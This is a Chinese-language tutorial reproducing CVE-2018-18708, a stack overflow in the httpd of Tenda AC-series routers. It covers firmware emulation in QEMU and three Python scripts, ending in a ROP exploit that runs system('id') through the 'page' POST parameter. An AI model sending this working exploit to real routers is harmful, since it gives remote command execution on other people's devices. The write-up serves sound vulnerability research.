mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
275 lines
9.3 KiB
Markdown
275 lines
9.3 KiB
Markdown
# Tenda CVE-2018-18708 漏洞复现
|
||
> z1r0
|
||
> 来源:https://www.iotsec-zone.com/article/252
|
||
|
||
# Tenda CVE-2018-18708 漏洞复现
|
||
|
||
## 前言
|
||
|
||
笔者第一篇第二篇分析了mips架构下的漏洞(忘记写mips栈溢出的利用),这一篇记录一下CVE-2018-18708 漏洞复现,笔者选用的是 US_AC15V1.0BR_V15.03.05.19_multi_TD01这个固件,这个固件是arm架构
|
||
|
||
## 逆向分析
|
||
|
||
该漏洞影响很多型号:`Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices`,文件系统提取第一篇笔者写过,这个固件是个普通的固件,所以这里不再重复,[固件下载地址](https://github.com/z1r00/IOT_Vul/blob/main/%E5%9B%BA%E4%BB%B6%E4%B8%8B%E8%BD%BD/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip)
|
||
|
||
看一下cve描述
|
||
|
||
> An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. It is a buffer overflow vulnerability in the router's web server -- httpd. When processing the "page" parameter of the function "fromAddressNat" for a post request, the value is directly used in a sprintf to a local variable placed on the stack, which overrides the return address of the function.
|
||
|
||
这是路由器的web服务器——httpd中的一个缓冲区溢出漏洞。 在处理 post 请求的函数“fromAddressNat”的“page”参数时,该值直接在 sprintf 中用于放置在堆栈上的局部变量,这会覆盖函数的返回地址。
|
||
|
||
httpd文件的漏洞,所以全局搜索httpd文件
|
||
|
||

|
||
|
||
进入ida之后全局搜索`fromAddressNat`,直接跟进
|
||
|
||

|
||
|
||
`entrys` `mitInterface` `page`三个参数用户可控,page会被sprintf拼接到v6中, 并没有对大小进行检查,导致了栈溢出漏洞
|
||
|
||
## 固件模拟
|
||
|
||
笔者没有买这个型号的路由器,所以这里用固件模拟
|
||
|
||
首先将qemu-arm-static复制到squashfs-root目录下`cp $(which qemu-arm-static) .`
|
||
|
||
直接利用qemu来运行试一下,`sudo chroot . ./qemu-arm-static bin/httpd`
|
||
|
||

|
||
|
||
发现welcome to这里会卡住,所以看一下汇编是什么原因
|
||
|
||

|
||
|
||
会有一个check_network的检测,直接patch掉就行,把mov r3, r0改成mov r3, #1
|
||
|
||

|
||
|
||
应用然后继续qemu模拟
|
||
|
||

|
||
|
||
发现又报了一个connect cfm failed错,继续看汇编然后patch
|
||
|
||

|
||
|
||
和上面一样patch
|
||
|
||

|
||
|
||
Apply patches to成功之后继续qemu模拟
|
||
|
||

|
||
|
||
成功模拟,但是遇见一个尴尬的事情,listen ip = 255.255.255.255,所以我们需要建立一个虚拟网桥br0,配置一下网络
|
||
|
||
```bash
|
||
sudo apt install uml-utilities bridge-utils
|
||
sudo brctl addbr br0
|
||
sudo brctl addif br0 eth0
|
||
sudo ifconfig br0 up
|
||
sudo dhclient br0
|
||
```
|
||
|
||
如上即可配置完成,然后继续模拟,可以成功访问web端,但是又遇见问题了
|
||
|
||

|
||
|
||
找了一圈发现将`webroot_ro`的内容复制进了`webroot`中,而webroot里面没有东西,所以就page not found了,`rm -rf webroot`,`sudo ln -s webroot_ro/ webroot`再次刷新即可
|
||
|
||

|
||
|
||
## 漏洞利用
|
||
|
||
在写exp的时候需要知道数据包必不可少的东西,如下
|
||
|
||

|
||
|
||
Cookie: password=是必要的,后面的值可以随便填
|
||
|
||
httpd是怎么运行的呢,其实和D-Link的goahead很像,goform都是被websFormHandle管制,写出如下poc,看一下是否能造成crash
|
||
|
||
```python
|
||
import socket
|
||
import os
|
||
|
||
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
|
||
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
|
||
|
||
ip = '192.168.31.248'
|
||
port = 80
|
||
|
||
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
||
li('[+] connecting')
|
||
r.connect((ip, port))
|
||
li('[+] connect finish')
|
||
|
||
rn = b'\r\n'
|
||
|
||
p1 = b'a' * 0x300
|
||
|
||
p2 = b'page=' + p1
|
||
|
||
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
|
||
p3 += b"Host: 192.168.0.1" + rn
|
||
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
|
||
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
|
||
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
|
||
p3 += b"Accept-Encoding: gzip, deflate" + rn
|
||
p3 += b"Cookie: password=hum1qw" + rn
|
||
p3 += b"Connection: close" + rn
|
||
p3 += b"Upgrade-Insecure-Requests: 1" + rn
|
||
p3 += (b"Content-Length: %d" % len(p2)) +rn
|
||
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
|
||
p3 += rn
|
||
p3 += p2
|
||
|
||
li('[+] sendling payload')
|
||
r.send(p3)
|
||
|
||
response = r.recv(4096)
|
||
response = response.decode()
|
||
li(response)
|
||
```
|
||
|
||

|
||
|
||
成功crash,进行动态调试,先看一下偏移多少,poc如下
|
||
|
||
```python
|
||
import socket
|
||
import os
|
||
from pwn import *
|
||
|
||
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
|
||
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
|
||
|
||
ip = '192.168.31.248'
|
||
port = 80
|
||
|
||
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
||
li('[+] connecting')
|
||
r.connect((ip, port))
|
||
li('[+] connect finish')
|
||
|
||
rn = b'\r\n'
|
||
|
||
p1 = cyclic(0x300)
|
||
|
||
p2 = b'page=' + p1
|
||
|
||
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
|
||
p3 += b"Host: 192.168.0.1" + rn
|
||
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
|
||
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
|
||
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
|
||
p3 += b"Accept-Encoding: gzip, deflate" + rn
|
||
p3 += b"Cookie: password=hum1qw" + rn
|
||
p3 += b"Connection: close" + rn
|
||
p3 += b"Upgrade-Insecure-Requests: 1" + rn
|
||
p3 += (b"Content-Length: %d" % len(p2)) +rn
|
||
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
|
||
p3 += rn
|
||
p3 += p2
|
||
|
||
li('[+] sendling payload')
|
||
r.send(p3)
|
||
|
||
response = r.recv(4096)
|
||
response = response.decode()
|
||
li(response)
|
||
```
|
||
|
||

|
||
|
||
最后计算出偏移为244 + 4,可以控制返回地址了,checksec之后发现只开了nx,构造rop链执行system函数
|
||
|
||
因为qemu没有aslr,所以可以利用libc的gadgets,笔者没有实体路由器,不知道路由器是否开启aslr
|
||
|
||
笔者筛选了一下gadgets,决定用下面两个来实现rop
|
||
|
||
`0x00018298 : pop {r3, pc}`,`0x00040cb8 : mov r0, sp ; blx r3`
|
||
|
||
第一个可以将r3变成system_addr,而第二个mov r0, sp只需要将命令放到sp上,最后会跳转到r3也就是system_addr,就实现了system(命令)
|
||
|
||
接下来就是找一下libc的地址,可以使用ps aux | grep httpd来看pid,接着用sudo cat /proc/pid号/maps看libc的地址,但是笔者遇见的问题是这样子libc找的错的,所以笔者直接在pwndbg里面找到了一个got表里的地址,然后算出libc
|
||
|
||
```python
|
||
from pwn import *
|
||
|
||
libc = ELF('./lib/libc.so.0')
|
||
|
||
atol = 0x3fdf18b0
|
||
base = atol - libc.sym['atol']
|
||
print(hex(base))
|
||
|
||
strcpy = base + libc.sym['strcpy']
|
||
|
||
print(hex(strcpy))
|
||
```
|
||
|
||
所以最后的rop链为`p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_sp_blx_r3) + command`
|
||
|
||
exp如下
|
||
|
||
```python
|
||
import socket
|
||
import os
|
||
from pwn import *
|
||
|
||
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
|
||
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
|
||
|
||
ip = '192.168.31.248'
|
||
port = 80
|
||
|
||
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
||
li('[+] connecting')
|
||
r.connect((ip, port))
|
||
li('[+] connect finish')
|
||
|
||
rn = b'\r\n'
|
||
|
||
libc_base = 0x3fd9c000
|
||
system_addr = 0x005a270 + libc_base
|
||
pop_r3_pc = 0x00018298 + libc_base
|
||
mov_r0_sp_blx_r3 = 0x00040cb8 + libc_base
|
||
|
||
p1 = b'a' * 244 + b'a' * 4 + p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_sp_blx_r3) + b'id'
|
||
|
||
p2 = b'page=' + p1
|
||
|
||
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
|
||
p3 += b"Host: 192.168.0.1" + rn
|
||
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
|
||
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
|
||
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
|
||
p3 += b"Accept-Encoding: gzip, deflate" + rn
|
||
p3 += b"Cookie: password=hum1qw" + rn
|
||
p3 += b"Connection: close" + rn
|
||
p3 += b"Upgrade-Insecure-Requests: 1" + rn
|
||
p3 += (b"Content-Length: %d" % len(p2)) +rn
|
||
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
|
||
p3 += rn
|
||
p3 += p2
|
||
|
||
li('[+] sendling payload')
|
||
r.send(p3)
|
||
|
||
response = r.recv(4096)
|
||
response = response.decode()
|
||
li(response)
|
||
```
|
||
|
||

|
||
|
||
成功执行到system,并且command也被控制
|
||
|
||
## 总结
|
||
|
||
笔者还是觉得真机调试香,模拟有点难受,所以就连夜在闲鱼上买了一个tenda的路由器
|